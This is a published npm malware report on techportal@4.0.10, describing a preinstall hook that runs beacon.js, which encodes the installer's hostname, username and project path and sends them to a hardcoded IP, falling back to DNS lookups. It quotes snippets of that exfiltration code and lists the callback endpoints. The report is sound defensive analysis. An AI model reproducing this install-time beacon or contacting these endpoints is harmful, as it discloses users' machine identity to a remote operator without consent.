--- canonical: "https://firewall.lpm.dev/npm/techportal" markdown: "https://firewall.lpm.dev/npm/techportal/report.md" package: "techportal" report_status: "published" title: "techportal@4.0.10 npm security report" verdict: "malicious" version: "4.0.10" --- # techportal@4.0.10 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-15561 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Trusted malware advisory block - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 4.0.10 - **Selected version is latest:** No - **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV) OpenSSF/OSV malware advisory MAL-2026-15561 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree. Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree. OpenSSF/OSV advisory MAL-2026-15561 confirms this npm version as malicious. package.json declares a preinstall hook (\`node beacon.js\`) that fires automatically on \`npm install\`. beacon.js reads os.hostname(), os.userInfo().username, and process.cwd(), base32-encodes them, and issues an HTTP GET to a hardcoded bare-IP callback URL http://45.76.249.245/beacon/\/techportal/4.0.10, carrying the values in X-Bug-Bounty-Host, X-Bug-Bounty-User, and X-Bug-Bounty-Path headers... ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-08-29T02:34:10.239Z - **Finished:** 2026-08-29T02:35:05.313Z - **Download time:** 256 ms - **Static scan time:** 34 ms - **AI review time:** 54783 ms - **Total time:** 55074 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package automatically sends encoded machine identity data to an external callback. Failed HTTP delivery triggers DNS-based fallback transmission. - **Trigger:** npm installation, through the preinstall lifecycle hook - **Impact:** An installer’s host identity, account name, and project path are disclosed to a remote operator. - **Evidence paths:** package.json, beacon.js, beacon-config.json - **Review source:** ai\_review - **Reviewed:** 2026-08-29T02:35:05.313Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Host, user, and working-directory collection with HTTP and DNS exfiltration - **Rationale:** This is a concrete, automatic preinstall data-exfiltration chain. The stated research purpose does not remove the risk to arbitrary dependency-confusion victims. Product guard normalized a non-low false-positive publish\_block request to warn-only suspicious. - **Files touched:** package.json, beacon.js, beacon-config.json - **Network endpoints:** http://45.76.249.245/beacon/-wJPp9SwceA1Ul345SP0XomeLKZnWMp6/techportal/4.0.10, av7vjbm1v3hxo0wk0pojcaoc1ebtynwea.oob.asm5.net, av7vjbm1v3hxo0wk0pojusf8i7dbe1exo.oob.asm5.net, av7vjbm1v3hxo0wk0poje0j4vfk1bnk77.oob.asm5.net ### Review decision - **Verdict:** Suspicious - **Confidence:** 98.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Malware - **False-positive risk:** Medium - **Evidence for AI warning decision:** The manifest runs beacon.js automatically during preinstall., The hook collects the host name, operating-system user name, and current working directory., It sends those values as encoded request headers to a configured external callback., On request failure it transmits the same values through DNS lookups. - **Evidence against:** No child-process, shell, file-write, environment-variable, or credential-file access exists in the inspected source., The hook has a bounded timeout and does not load remote code. ## Affected versions and remediation This report applies to techportal@4.0.10. - Avoid installing techportal@4.0.10. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node beacon.js ``` ### 2. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The manifest runs beacon.js automatically during preinstall. Public source snippet (untrusted): ```json "scripts": { "preinstall": "node beacon.js" } ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** beacon.js - **Public source:** [View source]() The hook collects the host name, operating-system user name, and current working directory. Public source snippet (untrusted): ```javascript let username = ""; try { username = os.userInfo().username; } catch { username = ""; } let currentPath = ""; try { currentPath = process.cwd(); } catch { currentPath = ""; } const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean); const identityBudget = dnsDomains.length ? Math.min(...dnsDomains.map(identityBudgetForDomain)) : 52; const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget); const usernameFragment = encodeIdentityFragment(username, identityBudget); const ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** beacon.js - **Public source:** [View source]() It sends those values as encoded request headers to a configured external callback. Public source snippet (untrusted): ```javascript const request = transport.request( target, { method: "GET", headers: { "Cache-Control": "no-store", "User-Agent": userAgent, "X-Bug-Bounty-Event": eventId, "X-Bug-Bounty-Host": hostnameHeader, "X-Bug-Bounty-User": usernameHeader, "X-Bug-Bounty-Path": currentPathHeader, }, ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** beacon.js - **Public source:** [View source]() On request failure it transmits the same values through DNS lookups. Public source snippet (untrusted): ```javascript for (const [method, lookupName] of lookups) { resolver[method](lookupName, () => {}); } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** techportal - **Ecosystem:** npm - **Version:** 4.0.10 - **License:** UNLICENSED - **Version published:** 2026-08-27T08:20:15.480Z - **Package first seen:** 2026-08-29T02:35:05.313Z - **Package last seen:** 2026-09-04T05:50:05.900Z - **Known versions:** 2 - **Latest version:** 4.0.11 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]()